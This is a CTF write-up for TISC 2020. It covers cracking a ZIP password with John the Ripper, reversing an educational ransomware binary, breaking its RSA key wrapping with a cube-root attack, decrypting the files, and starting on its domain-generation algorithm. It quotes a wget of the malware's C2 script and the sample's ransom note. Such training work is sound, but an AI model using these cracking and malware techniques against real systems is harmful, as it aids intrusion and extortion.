Writeups for the TISC 2020 CTF organised by CSIT.
Introduction
The InfoSecurity Challenge (TISC) competition is organised by the Centre for Strategic Infocomm Technologies (CSIT), a Singapore governmental organisation and ran during the months of August and September of 2020.
The CTF consisted of unlocked challenges, in which you progressed linearly as you solved the problems. There were 6 challenges in total with the last challenge being split into two parts. Placings were ranked based on how many challenges were solved and then by how fast they were solved.
It was a surprisingly difficult but fun CTF and I placed third in the final scoreboard:
Stage 0 (Test Stage): Introduction
Solution
A ‘sanity check’ challenge. I completed the form and submitted the flag.
Flag: TISC20{finished_the_form_973926492}
Stage 1: What is this thing?
There were also some attached files:
A stack overflow post was discovered to have been a possible introduction point for how a sysadmin may have deployed the malware into the affected systems.
When running the script, it pulls a suspicious file down and executes it.
The transactional diagram describes how the racket operates.
Solution
When checking the downloaded patch.sh
, we find that the attackers have removed the script from their C2.
$ wget --quiet "1rd7w08tbqm52earhagr8oai976tdl7lwy07xlje4og1.ml/AnorocBoot.sh" -O -
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Nothing to see here</title>
<!-- import the webpage's stylesheet -->
<link rel="stylesheet" href="/style.css">
<!-- import the webpage's javascript file -->
<script src="/script.js" defer></script>
</head>
<body>
<h1>Hi there!</h1>
<p>
1rd7w08tbqm52earhagr8oai976tdl7lwy07xlje4og1.ml has been taken down. No source code for you!<br>
</p>
</body>
</html>
So instead, we can connect to the listed server to get some instructions on how to continue.
nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 31081
$$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
\__$$ __|\_$$ _|$$ __$$\ $$ __$$\
$$ | $$ | $$ / \__|$$ / \__|
$$ | $$ | \$$$$$$\ $$ |
$$ | $$ | \____$$\ $$ |
$$ | $$ | $$\ $$ |$$ | $$\
$$ | $$$$$$\ \$$$$$$ |\$$$$$$ |
\__| \______| \______/ \______/
CSIT's The Infosecurity Challenge 2020
https://play.tisc.csit-events.sg/
CHALLENGE 1: What is this thing?
======================================
SUBMISSION_TOKEN? exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG
We noticed unusually network activity around the time that the user reported being ransomware-d.
There were files being sent and recieved, some of which we were unable to inspect.
Could you try to decode this?
Reminder! SAVE ANY CODE YOU WROTE / TAKE SCREENSHOTS OF YOUR WORK, THIS WILL NEED TO BE SUBMITTED IN YOUR WRITEUP!
CLARITY OF DOCUMENTATION WILL CONTRIBUTE TO A BETTER EVALUATION OF YOUR WRITEUP.
The file is hosted at http://fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg:31080/d9c8f641bd3cb1b7a9652e8d120ed9a8.zip .
Flag?
After downloading the file and attempting to unzip it, it prompts us for a password. For those following along, the file can be downloaded here.
$ unzip d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
Archive: d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
[d9c8f641bd3cb1b7a9652e8d120ed9a8.zip] temp.mess password:
Before attempting to crack the password, we need to convert the ZIP file to a format that John the Ripper will accept:
kali@kali:~/oscp/tisc$ zip2john d9c8f641bd3cb1b7a9652e8d120ed9a8.zip > zip.hashes
ver 2.0 d9c8f641bd3cb1b7a9652e8d120ed9a8.zip/temp.mess PKZIP Encr: cmplen=125108, decmplen=125056, crc=16B94B68
kali@kali:~/oscp/tisc$
Since the question mentioned that the password was six characters long and comprised of hexadecimal characters, we can use a mask to generate the candidates:
kali@kali:~/oscp/tisc$ john --min-len=6 --max-len=6 --mask='?h?h?h?h?h?h' ./zip.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
eff650 (d9c8f641bd3cb1b7a9652e8d120ed9a8.zip/temp.mess)
1g 0:00:00:00 DONE (2020-08-08 11:18) 25.00g/s 9011Kp/s 9011Kc/s 9011KC/s 000650..fff750
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kali@kali:~/oscp/tisc$
The password was discovered to be eff650
. Unzipping the file with the password yields a bzip2 compressed blob name temp.mess
.
$ unzip d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
Archive: d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
[d9c8f641bd3cb1b7a9652e8d120ed9a8.zip] temp.mess password:
inflating: temp.mess
$ file temp.mess
temp.mess: bzip2 compressed data, block size = 900k
After analysing the file by extracting it manually through a few stages. It was discovered that there are the following types:
- bzip2 compressed
- hex encoding
- base64 encoding
- xz compressed
- gzip compressed
- zlib compressed
The full unpacking script is as follows:
import shutil
import magic
import os
import base64
import zlib
import hashlib
import json
def unpack(filename):
# Determine type.
try:
typed = magic.from_file(filename)
except Exception:
# Problem with python2 magic
typed = "zlib"
# Fix up wrong types:
if 'BS image' in typed:
typed = 'zlib'
new_filename = "unknown"
out_file = "unknown"
#print(typed)
if "bzip2" in typed:
new_filename = '{}b.bz2'.format(filename)
shutil.copy(filename, new_filename)
os.system("bzip2 -d {}".format(new_filename))
out_file = '{}b'.format(filename)
elif "ASCII text" in typed:
data = open(filename, 'rb').read()
# Determine if base64 or hexa with a dumb heuristic
if data.lower() == data:
# Hexa
new_filename = '{}h'.format(filename)
open(new_filename, 'wb').write(bytes.fromhex(data.decode("ascii")))
out_file = new_filename
else:
new_filename = '{}f'.format(filename)
open(new_filename, 'wb').write(base64.b64decode(data))
out_file = new_filename
elif "XZ compressed" in typed:
new_filename = '{}x.xz'.format(filename)
shutil.copy(filename, new_filename)
os.system("xz -d {}".format(new_filename))
out_file = '{}x'.format(filename)
elif "gzip" in typed:
new_filename = '{}g.gz'.format(filename)
shutil.copy(filename, new_filename)
os.system("gzip -d {}".format(new_filename))
out_file = '{}g'.format(filename)
elif "zlib" in typed:
data = open(filename, 'rb').read()
new_filename = '{}z'.format(filename)
out_file = new_filename
open(out_file, 'wb').write(zlib.decompress(data))
elif 'JSON' in typed:
data = open(filename, 'rb').read()
print("Flag!")
print(json.loads(data))
return out_file
def main():
current = 'temp.mess_'
os.system("rm temp.mess_*")
shutil.copy('temp.mess', 'temp.mess_')
for i in range(200):
next_file = unpack(current)
#print('{} -> {}'.format(current, next_file))
current = next_file
if current == 'unknown':
return
if __name__ == '__main__':
main()
Running this yields the flag:
$ python solver.py
rm: temp.mess_*: No such file or directory
Flag!
{'anoroc': 'v1.320', 'secret': 'TISC20{q1_d06fd09ff9a27ec499df9caf42923bce}', 'desc': 'Submit this.secret to the TISC grader to complete challenge', 'constants': [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221], 'sign': 'cx-1FpeoEgqkk2HN70RCmRU'}
Submitting the flag to the server solves the challenge.
nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 31081
$$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
\__$$ __|\_$$ _|$$ __$$\ $$ __$$\
$$ | $$ | $$ / \__|$$ / \__|
$$ | $$ | \$$$$$$\ $$ |
$$ | $$ | \____$$\ $$ |
$$ | $$ | $$\ $$ |$$ | $$\
$$ | $$$$$$\ \$$$$$$ |\$$$$$$ |
\__| \______| \______/ \______/
CSIT's The Infosecurity Challenge 2020
https://play.tisc.csit-events.sg/
CHALLENGE 1: What is this thing?
======================================
SUBMISSION_TOKEN? exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG
We noticed unusually network activity around the time that the user reported being ransomware-d.
There were files being sent and recieved, some of which we were unable to inspect.
Could you try to decode this?
Reminder! SAVE ANY CODE YOU WROTE / TAKE SCREENSHOTS OF YOUR WORK, THIS WILL NEED TO BE SUBMITTED IN YOUR WRITEUP!
CLARITY OF DOCUMENTATION WILL CONTRIBUTE TO A BETTER EVALUATION OF YOUR WRITEUP.
The file is hosted at http://fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg:31080/d9c8f641bd3cb1b7a9652e8d120ed9a8.zip .
Flag? TISC20{q1_d06fd09ff9a27ec499df9caf42923bce}
Reminder! SAVE ANY CODE YOU WROTE / TAKE SCREENSHOTS OF YOUR WORK, THIS WILL NEED TO BE SUBMITTED IN YOUR WRITEUP!
Winner Winner Vegan Dinner (emojis)
{"challenge":{"name":"STAGE 1: What is this thing?"},"id":"ckdlvon680tz80824tk9et0dn","status":"CORRECT","multiplier":1,"submittedBy":{"username":"widely_major_termite_PnPqglda"},"createdAt":"2020-08-08T16:34:19Z"}
Flag: TISC20{q1_d06fd09ff9a27ec499df9caf42923bce}
Stage 2: Find me some keys
Solution
A file encrypted.zip
is provided in the challenge description. The challenge file can be
downloaded here
When extracting it a docker environment is provided:
unzip encrypted.zip
Archive: encrypted.zip
creating: dockerize/
inflating: dockerize/Dockerfile
inflating: dockerize/anorocware
creating: dockerize/encrypted/
extracting: dockerize/encrypted/secret_investments.db.anoroc
creating: dockerize/encrypted/images/
inflating: dockerize/encrypted/images/slopes.png.anoroc
inflating: dockerize/encrypted/images/lake.jpg.anoroc
inflating: dockerize/encrypted/images/ridge.png.anoroc
inflating: dockerize/encrypted/images/rocks.jp2.anoroc
inflating: dockerize/encrypted/images/rollinginthed33p.png.anoroc
inflating: dockerize/encrypted/images/yummy.png.anoroc
creating: dockerize/encrypted/email/
extracting: dockerize/encrypted/email/aqec62y3.txt.anoroc
...
extracting: dockerize/encrypted/email/_7zp3gmy.txt.anoroc
extracting: dockerize/encrypted/keydetails-enc.txt
extracting: dockerize/encrypted/clients.db.anoroc
inflating: dockerize/encrypted/ransomnote-anoroc.txt
What is contained are the following pertinent files:
- dockerize/anorocware
- dockerize/encrypted/keydetails-enc.txt
- dockerize/encrypted/secret_investments.db.anoroc
The ransomware binary anorocware
is the important resource to look at for this stage.
It is a 64-bit ELF executable.
$ file anorocware
anorocware: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Looking at the strings contained in the binary, we can discover that it is UPX packed.
$ strings -a anorocware | grep 'packed'
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
Unpacking it can be performed with the upx
tool.
$ upx -d anorocware
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
7406375 <- 3993332 53.92% linux/amd64 anorocware
Unpacked 1 file.
Now this can be loaded into Ghidra or Binary Ninja and analysed. Looking at it, it appears to be a go compiled binary. For this stage, we do not need to go into detail on how it exactly works.
Since we know from the challenge description that we are looking for a Base64 encoded public key, we can easily spot the relevant portion in the code by looking for where it decodes a Base64 string.
In the excerpt of the code below, a piece of data is run through a simple main.EncryptDecrypt
function. The result is passed into a encoding/base64.(*Encoding).DecodeString
function.
Now, we can run the binary and place a breakpoint at 0x662175
to observe what the base64 encoded
string is.
$ gdb ./anorocware
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
...
gef> br *0x662175
Breakpoint 1 at 0x662175: file /home/hjf98/Documents/CSPC2020Dev/goware/main.go, line 246.
Running the script and breaking on the breakpoint shows that there are good candidates to inspect in the stack and in the registers.
Inspecting a value on the stack yields the desired value:
gef> x/s 0x000000c000435000
0xc000435000: "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJRUlEQU5CZ2txaGtpRzl3MEJBUUVG
QUFPQ0JBMEFNSUlFQ0FLQ0JBRUFtOTliMnB2dHJWaVcrak4vM05GZgp3OGczNmRRUjZpSnIrY3lSZStrOFhGe
nVIVU80TE4zdGs3NnRGUzhEYmFDY1lGaXVmOEdzdWdjUm1RREVyUFpmCnFna3ZYWnB1ZmZmVGZqVEIramUvV2
k0M2J3THF0dzBXNGNYb1BXMzN1R1ZhV1pYMG9MektDL0F4Zzdrd0l0bUcKeG5uMzIxVEFqRVpnVGJMK09hTmt
jSHpmUTdVendhRXA5VVB0VDhwR1lvTkpIbFgzZmtGcTJpVnk3N3VJNGdSSwpNZjh1alRma0lISGpRN0JFemdF
Z2s4a3F4R2FTUGxJTlFzNjVQNHR2T3BpaHFwd1VWcEFqUExOQlR0OUh6MUYvCmZSK2FEc0pRUktaTk1yV1JMd
U1ZaU8yTXg5Y1pCbnd6TDlLdUZSdkhlbE83QldheVU5ZjBYT3BnL3p5YkVRT0wKdXgram1zVXNUc1Fiaks5Y0
I2N01hMjFEK1hKSHlLZ0t1UDl1MTRtVkNaZ0NCazlseWJTMWJ4ZHZGRFFQZ2t5YwpNM3o5dnV1Y0NVMUV1MkQ
wbGhGbUozRlFmWmtBWSsrWEhVcGl3dWk5Tk8zQTlVRzdhbXlYYk9TY2xGMlg5a1JxCjBDd21xT3RCUkJFV0lT
ZTVyZHpjL0FUT1AzUHFEakd3eVNYeFdaRENIOHJyZ256V3B2MkxyaVlRVG5mMmNFMEcKL2lJOFJ3allvR0xXe
mVMVlJyMWhoWjhZNXM0Ui9zUjQ5N1dlbmtSY3BPTE9rRFZnZTdNdXNUT1doNGVOaTRnbwpQbGRzaVlUcVRuZE
Exd1Y2N3IwOXVqcHA4VnZwZEx1bys0aCs3cC9wZnBYTXN4OGRBTG9tNHNma1ljSkhoT2JrCnh0NUNwTkNrVlh
oNXRzR2hlRmI3djg1R2lORnkxN3p1YWxNZGEzMkJpblBlRWJGcnFLd0QyWjRSNVFnUXVCOHUKSXdqcVNUZ05v
OVV2dmNoNmxXQ2JqOWUrODB1Z1Y0bzdqSENkLzU2Rmt1dmhDcWlJTmRaRFVVNFpCMzdoZGVsZgplRTlOYnhEa
ktHOFY3YUNkd3FKSkRZR2l6LzNqbXVDZkIvazVGa29IU0FOZ2JMRTBBNVNtazNUOHR1djhTeitmCnY0cnJQeG
1wbjhYMlNtMUZveitVMEJXelArVkxtcExubnlYa3JPSHluOGxKRmJuL1U1TldHUkxuK2V2MkNTa3cKQUkvVGZ
IQUxxVHZqcWxHUXhUVGFZN1pua241aStEMUx6dEs4Y3BTWlhkRFZvUmgrL3ZNSUVpTnVrOCsrL3M2YQpITmQ3
d3VGa1kvWjhqakoxakgvY3NGMzdtR1lBVXhwMzJuUms1d1JwL2M2ZVdaUE0rekdpYmZFbm1GVzV5VUVVClliW
DRoenpHcjVRNmYvc3lzdXpoYXlsV2kzWEN2SXJINkxCakZOdTNVSjBWSXpjSk4wa3hhQUJhWFk4SlVEWVgKdF
hVTGlwdlVPcWt0dE9xSlN4T1hXZzcyU1dLTEt2L1F2ZkRSVlhlZFVrMDY2azdSTDFva3BiTW53WWxmWWc3Sgp
tcFpaUjJDTk53Yk1rUW0yVG1yQS9NWnVkdnF0c1g5UHBrZ0pJK1pXalV3VnRHUlVUZERNeFpXeDRIM25lSml5
CjhtOHVkazQyUk4wajNuMHdWWHNXdDZRbXk3YlFzSFlYSUhVZ2tCWFl6ZHkvdStOb2RLQWpoZFZwaUpiekluY
3oKU2RvbFhpbmlLd05VTFc4VmpqUzlLVFNSd2lkcWVPa2twTmVJcWlSbldUM1RUTUFNemI1ajBqRUdGN0wzRE
9NUAo2UUlCQXc9PQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0K"
gef>
To verify that it is a public key, we can decode it:
pbpaste | base64 -d
-----BEGIN PUBLIC KEY-----
MIIEIDANBgkqhkiG9w0BAQEFAAOCBA0AMIIECAKCBAEAm99b2pvtrViW+jN/3NFf
w8g36dQR6iJr+cyRe+k8XFzuHUO4LN3tk76tFS8DbaCcYFiuf8GsugcRmQDErPZf
qgkvXZpufffTfjTB+je/Wi43bwLqtw0W4cXoPW33uGVaWZX0oLzKC/Axg7kwItmG
xnn321TAjEZgTbL+OaNkcHzfQ7UzwaEp9UPtT8pGYoNJHlX3fkFq2iVy77uI4gRK
Mf8ujTfkIHHjQ7BEzgEgk8kqxGaSPlINQs65P4tvOpihqpwUVpAjPLNBTt9Hz1F/
fR+aDsJQRKZNMrWRLuMYiO2Mx9cZBnwzL9KuFRvHelO7BWayU9f0XOpg/zybEQOL
ux+jmsUsTsQbjK9cB67Ma21D+XJHyKgKuP9u14mVCZgCBk9lybS1bxdvFDQPgkyc
M3z9vuucCU1Eu2D0lhFmJ3FQfZkAY++XHUpiwui9NO3A9UG7amyXbOSclF2X9kRq
0CwmqOtBRBEWISe5rdzc/ATOP3PqDjGwySXxWZDCH8rrgnzWpv2LriYQTnf2cE0G
/iI8RwjYoGLWzeLVRr1hhZ8Y5s4R/sR497WenkRcpOLOkDVge7MusTOWh4eNi4go
PldsiYTqTndA1wV67r09ujpp8VvpdLuo+4h+7p/pfpXMsx8dALom4sfkYcJHhObk
xt5CpNCkVXh5tsGheFb7v85GiNFy17zualMda32BinPeEbFrqKwD2Z4R5QgQuB8u
IwjqSTgNo9Uvvch6lWCbj9e+80ugV4o7jHCd/56FkuvhCqiINdZDUU4ZB37hdelf
eE9NbxDjKG8V7aCdwqJJDYGiz/3jmuCfB/k5FkoHSANgbLE0A5Smk3T8tuv8Sz+f
v4rrPxmpn8X2Sm1Foz+U0BWzP+VLmpLnnyXkrOHyn8lJFbn/U5NWGRLn+ev2CSkw
AI/TfHALqTvjqlGQxTTaY7Znkn5i+D1LztK8cpSZXdDVoRh+/vMIEiNuk8++/s6a
HNd7wuFkY/Z8jjJ1jH/csF37mGYAUxp32nRk5wRp/c6eWZPM+zGibfEnmFW5yUEU
YbX4hzzGr5Q6f/sysuzhaylWi3XCvIrH6LBjFNu3UJ0VIzcJN0kxaABaXY8JUDYX
tXULipvUOqkttOqJSxOXWg72SWKLKv/QvfDRVXedUk066k7RL1okpbMnwYlfYg7J
mpZZR2CNNwbMkQm2TmrA/MZudvqtsX9PpkgJI+ZWjUwVtGRUTdDMxZWx4H3neJiy
8m8udk42RN0j3n0wVXsWt6Qmy7bQsHYXIHUgkBXYzdy/u+NodKAjhdVpiJbzIncz
SdolXiniKwNULW8VjjS9KTSRwidqeOkkpNeIqiRnWT3TTMAMzb5j0jEGF7L3DOMP
6QIBAw==
-----END PUBLIC KEY-----
To get the flag, we can simply SHA256 the input.
printf "TISC20{%s}" $(pbpaste | shasum -a 256 | cut -d' ' -f 1)
TISC20{8eaf2d08d5715eec34be9ac4bf612e418e64da133ce8caba72b90faacd43ceee}
Flag: TISC20{8eaf2d08d5715eec34be9ac4bf612e418e64da133ce8caba72b90faacd43ceee}
Stage 3: Recover some files
Solution
To solve this stage, we must understand the program flow. To do this, we inspect main.main
.
First, a ransom note is written to a file ransomnote-anoroc.txt
containing a previously computed
machineid.ID()
.
The ransom note looks like the following:
$$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
\__$$ __|\_$$ _|$$ __$$\ $$ __$$\
$$ | $$ | $$ / \__|$$ / \__|
$$ | $$ | \$$$$$$\ $$ |
$$ | $$ | \____$$\ $$ |
$$ | $$ | $$\ $$ |$$ | $$\
$$ | $$$$$$\ \$$$$$$ |\$$$$$$ |
\__| \______| \______/ \______/
Hello Sir / Madam,
Your computer has been hax0red and your files are now to belong to me.
We use military grade cryptography code to encrypt ur filez.
Do not try anything stupid, u will lose ur beloved data.
You have 48 hours to pay 1 Ethereum (ETH) to 0xc184e8BB0c8AA7326056D21C4Badf3eE58f04af2.
Email [email protected] proof of your transaction to obtain your decryption keys.
PLEASE INCLUDE YOUR MACHINE-ID = 6d8da77f503c9a5560073c13122a903b IN YOUR EMAIL
Your move,
Anor0cW4re Team
+++++ +++++ +++++ +++++ +++++ +++++
DO NOT BE ALARMED;
DO NOT SEND ETHEREUM TO ANY ACCOUNT;
THIS IS AN EDUCATIONAL RANSOMWARE
FOR CYBER SECURITY TRAINING;
+++++ +++++ +++++ +++++ +++++ +++++
Next, the https://ifconfig.co/json
URL is retrieved to get some information about the victim’s
network. This is used to populate a city
parameter and an ip
parameter (for later).
Subsequently, two random numbers are generated: an encryption key and an encryption IV.
Next, fields like the EncKey
are written into a JSON key-value structure.
The fields written are:
- City
- EncIV
- EncKey
- IP
- MachineId
After the structure is populated, the public key is decrypted, decoded, and parsed.
Next, the JSON fields are URL encoded.
The resultant JSON output is turned into a large number and an exponentiation is performed, indicative of an RSA operation.
Next, the bytes are written to a file called keydetails-enc.txt
. Note that a useful copy of this
file is included with the encrypted documents that was received.
At this point, a domain generation algorithm main.QbznvaAnzrTrarengvbaNytbevguz
is executed to
generate the C2 domain.
The DGA will be discussed in the Stage 4 writeup.
A report is sent to the C2 located at the computed domain. Since, the POST will fail an unsmiley
face :(
will be printed.
Next, the file system from the current working directory is walked with the main.visit.func1
function. This is how all of the files get encrypted.
Within the main.visit.func1
function, an AES-128 cipher is initialized with the EncKey
and used
to encrypt the files.
Something interesting to note is that the IV is not constant for all files and the first two bytes of the IV is set to the first two bytes of the filename.
The cipher is set to CTR mode and the encrypted output is written to a file named filename.anoroc
.
Now that the logic has been understood, we can try and break the scheme. To do this, first we must inspect the public key.
$ openssl rsa -noout -text -inform PEM -in ./pub_key -pubin
Public-Key: (8192 bit)
Modulus:
00:9b:df:5b:da:9b:ed:ad:58:96:fa:33:7f:dc:d1:
5f:c3:c8:37:e9:d4:11:ea:22:6b:f9:cc:91:7b:e9:
3c:5c:5c:ee:1d:43:b8:2c:dd:ed:93:be:ad:15:2f:
03:6d:a0:9c:60:58:ae:7f:c1:ac:ba:07:11:99:00:
c4:ac:f6:5f:aa:09:2f:5d:9a:6e:7d:f7:d3:7e:34:
...
bf:bb:e3:68:74:a0:23:85:d5:69:88:96:f3:22:77:
33:49:da:25:5e:29:e2:2b:03:54:2d:6f:15:8e:34:
bd:29:34:91:c2:27:6a:78:e9:24:a4:d7:88:aa:24:
67:59:3d:d3:4c:c0:0c:cd:be:63:d2:31:06:17:b2:
f7:0c:e3:0f:e9
Exponent: 3 (0x3)
The modulus looks secure but the exponent is suspect. 3 is an extremely small number for an exponent. Since the modulus is rather large, there is a chance that the message is small enough to be vulnerable to the ‘cube-root attack’ where the resultant ciphertext raised to the power of 3 can simply be broken by finding the cube-root to regain the message since the modulus is not applied.
The ciphertext can be converted to hex as follows:
$ python -c 'import binascii; data = open("./dockerize/encrypted/keydetails-enc.txt", "rb").read(); print("0x" + binascii.hexlify(data).decode("utf-8"))'
0x04aca8af91f97ef198ba32c820e8868deb693f86f763d3a2879a84fa8e7af6f396107701b480e453ec6
9b7e3f72f02520f408a98c163db6c70f9902eab87c882b73c158e16be95dc4a9921fec3297586343b250f
6cf58f3512e37de84e2f3d12639bec4f88ed5e68226fad6c2e5dbdfe9b44350aaedc61015e8f28cce50a6
9c67f919f0c5d2c2c9073bf4d25afb299e65acf703880949b32f5e442e77cf527f6a8a3881ba1f94e7910
3abb9c1a1f55a4735488e05d0a41fd7feb3b7c130c2139dcc4301a55d87806e04f45ce210ecbc971bfaf7
a2ff090f39709f4025f658f7729eb1cfbef40cfce7d469d1095f60144e2f312b6493ce0cca37651890894
25a04d035cdd6a80b131b231215141ae83f2a3410fc551ca30296be4ad3f7bf4cdb1e09583f97d445150c
037f88d7ca765174f8b202b6a5f513dd9f20b430bbbbfc2309293271faac024b38cde3fc22555cd860ef7
9ae16697982e37650c933ced29879280f2301d7efcc4967dd77e668a65afbc770d46669e67678f347c5d8
5ffe05218d8ebeec470ca1d74ae8956589db43999a1643a95b0a72acf6ace052fdef8bcc63dc7ce670248
66d4e7cb421965218614a41e0789c7239733e6f97c00f1db05bff3e1283e3790a4a9ac2e6f1cfa5084555
f4412da28d7434bfa27d6b4cdf4da50889c9285c8ca0e606398bfb3b34894752667df01a28023b7297d3a
16978f4a974cf2d04088
Now, the cube root can be calculated using Sage:
from sage.crypto.util import bin_to_ascii, ascii_to_bin
c = 0x04aca8af91f97ef198ba32c820e8868deb693f86f763d3a2879a84fa8e7af6f396107701b480e45
3ec69b7e3f72f02520f408a98c163db6c70f9902eab87c882b73c158e16be95dc4a9921fec3297586343b
250f6cf58f3512e37de84e2f3d12639bec4f88ed5e68226fad6c2e5dbdfe9b44350aaedc61015e8f28cce
50a69c67f919f0c5d2c2c9073bf4d25afb299e65acf703880949b32f5e442e77cf527f6a8a3881ba1f94e
79103abb9c1a1f55a4735488e05d0a41fd7feb3b7c130c2139dcc4301a55d87806e04f45ce210ecbc971b
faf7a2ff090f39709f4025f658f7729eb1cfbef40cfce7d469d1095f60144e2f312b6493ce0cca3765189
089425a04d035cdd6a80b131b231215141ae83f2a3410fc551ca30296be4ad3f7bf4cdb1e09583f97d445
150c037f88d7ca765174f8b202b6a5f513dd9f20b430bbbbfc2309293271faac024b38cde3fc22555cd86
0ef79ae16697982e37650c933ced29879280f2301d7efcc4967dd77e668a65afbc770d46669e67678f347
c5d85ffe05218d8ebeec470ca1d74ae8956589db43999a1643a95b0a72acf6ace052fdef8bcc63dc7ce67
024866d4e7cb421965218614a41e0789c7239733e6f97c00f1db05bff3e1283e3790a4a9ac2e6f1cfa508
4555f4412da28d7434bfa27d6b4cdf4da50889c9285c8ca0e606398bfb3b34894752667df01a28023b729
7d3a16978f4a974cf2d04088
ci = Integer(c)
p = pow(ci, 1/3)
pa = p.ceil().binary()
print(bin_to_ascii("0" + pa))
The result of the output gives us EncIV
and EncKey
which is sufficient for decrypting the
encrypted files.
City=Singapore&EncIV=%1C%9F%A4%9B%2C%9EN%AF%04%9CA%AE%02%86%03%81&EncKey=%99z%11%12%7FjD%22%93%D2%A8%EB%1D2u%04&IP=112.199.210.119&MachineId=6d8da77f503c9a5560073c13122a903b
-
EncIV
:0x1c9fa49b2c9e4eaf049c41ae02860381
-
EncKey
:0x997a11127f6a442293d2a8eb1d327504
Using this information, we can write a script with pycryptodome
to decrypt arbitrary files.
from Crypto.Cipher import AES
from Crypto.Util import Counter
import sys
import os.path
IV = bytes.fromhex('1c9fa49b2c9e4eaf049c41ae02860381')
KEY = bytes.fromhex('997a11127f6a442293d2a8eb1d327504')
def main():
filename = sys.argv[1]
output = sys.argv[2]
data = open(filename, 'rb').read()
# Why you do this???
base = os.path.basename(filename)
new_iv = base[:2].encode('utf-8') + IV[2:]
cipher = AES.new(KEY, AES.MODE_CTR, initial_value=new_iv, nonce=b'')
mt_bytes = cipher.decrypt(data)
open(output, 'wb').write(mt_bytes)
if __name__ == '__main__':
main()
Now, we can decrypt the secret database containing the flag.
$ python decrypt.py ./encrypted/secret_investments.db.anoroc decrypted/secret_investments.db
$ sqlite3 decrypted/secret_investments.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE IF NOT EXISTS "stocks" (
"id" INTEGER NOT NULL UNIQUE,
"symbol" TEXT,
"shares_held" INTEGER,
"target" INTEGER,
PRIMARY KEY("id" AUTOINCREMENT)
);
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE IF NOT EXISTS "ctf_flag" (
"id" INTEGER NOT NULL UNIQUE,
"comp" TEXT,
"flag" TEXT,
PRIMARY KEY("id" AUTOINCREMENT)
);
sqlite> select * from ctf_flag;
1|TSIC20|TISC20{u_decrypted_d4_fil3s_w0w_82161874619846}
sqlite>
Flag: TISC20{u_decrypted_d4_fil3s_w0w_82161874619846}
Stage 3.5 (Test Stage): Opportunity
Solution
The informative description contained the flag. I submitted that.
Flag: TISC20{Okie_thanks_for_the_info}
Stage 4: Where is the C2?
Solution
In this stage, we need to be able to arbitrarily calculate domain names for any UTC time. The connected service requests for the appropriate domain at a certain time:
$ nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 31090
$$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
\__$$ __|\_$$ _|$$ __$$\ $$ __$$\
$$ | $$ | $$ / \__|$$ / \__|
$$ | $$ | \$$$$$$\ $$ |
$$ | $$ | \____$$\ $$ |
$$ | $$ | $$\ $$ |$$ | $$\
$$ | $$$$$$\ \$$$$$$ |\$$$$$$ |
\__| \______| \______/ \______/
CSIT's The Infosecurity Challenge 2020
https://play.tisc.csit-events.sg/
CHALLENGE 4: WHERE IS THE C2?
======================================
SUBMISSION_TOKEN? exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG
Do you know the domain name at June 12, 2047, 3:49:48 AM Coordinated Universal Time that the ransomware connects to?
Now, we return to the main.QbznvaAnzrTrarengvbaNytbevguz
function.
To start with, the function retrieves a JSON file from the
https://worldtimeapi.org/api/timezone/Etc/UTC.json
endpoint and decodes it.
The endpoint returns something like so:
$ curl https://worldtimeapi.org/api/timezone/Etc/UTC.json
{"abbreviation":"UTC","client_ip":"116.88.10.43","datetime":"2020-08-11T20:13:04.411363+00:00","day_of_week":2,"day_of_year":224,"dst":false,"dst_from":null,"dst_offset":0,"dst_until":null,"raw_offset":0,"timezone":"Etc/UTC","unixtime":1597176784,"utc_datetime":"2020-08-11T20:13:04.411363+00:00","utc_offset":"+00:00","week_number":33}
To simplify reversing, the endpoint is modified to contact localhost
instead.
Next, the current system time is retrieved using time.Now()
.
Then, the unixtime
field of the JSON is accessed and retrieved.
The binary then checks if the worldtimeapi.org
results differ too greatly from the system time. If
they differ too much, the seed is set to a random value.
Next, depending on the previous result, the seed is set for the random function. If the system time is not fudged with, this is likely to be the value of the current epoch time as returned by the API.
Next, a random number math/rand.(*Rand).Intn(0x20)
is generated. This determines the variable
length of the final domain name.
This variable length is added to another 0x20 value to comprise of the total base domain name length. The logic checks the terminating condition like so:
While the terminating condition has not been met, a random value (math/rand.(*Rand).Intn(0x539) %
0x24
